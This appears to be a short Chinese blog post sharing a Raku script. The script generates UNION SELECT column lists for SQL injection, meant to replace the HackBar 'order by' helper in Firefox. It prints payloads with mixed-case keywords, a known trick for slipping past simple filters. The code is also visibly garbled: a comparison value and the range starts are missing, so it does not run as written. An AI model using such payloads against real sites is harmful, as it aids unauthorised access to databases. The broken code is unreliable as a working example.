order by 字段自动填写脚本

新版 firefox 中的 hackbar 没有 order by 字段填写， 所以就有了这个:

=begin pod
sql注入中自动输出order by 的位数
=end pod

sub MAIN(Int $number,Str $char?) {
  my @sql = [];
  if @*ARGS.elems ==  {
    for ..$number {
      if $char ~~ /:i null/ {
        @sql.push: $char;
      }
      else {
        @sql.push: "'"~$char~"'" ;
      }
    }
    say 'UnIoN SeLeCT '~@sql.join(',');
    exit;
  }
  my $sql = (..$number).join(',');
  say 'UnIoN sElEcT '~$sql;
}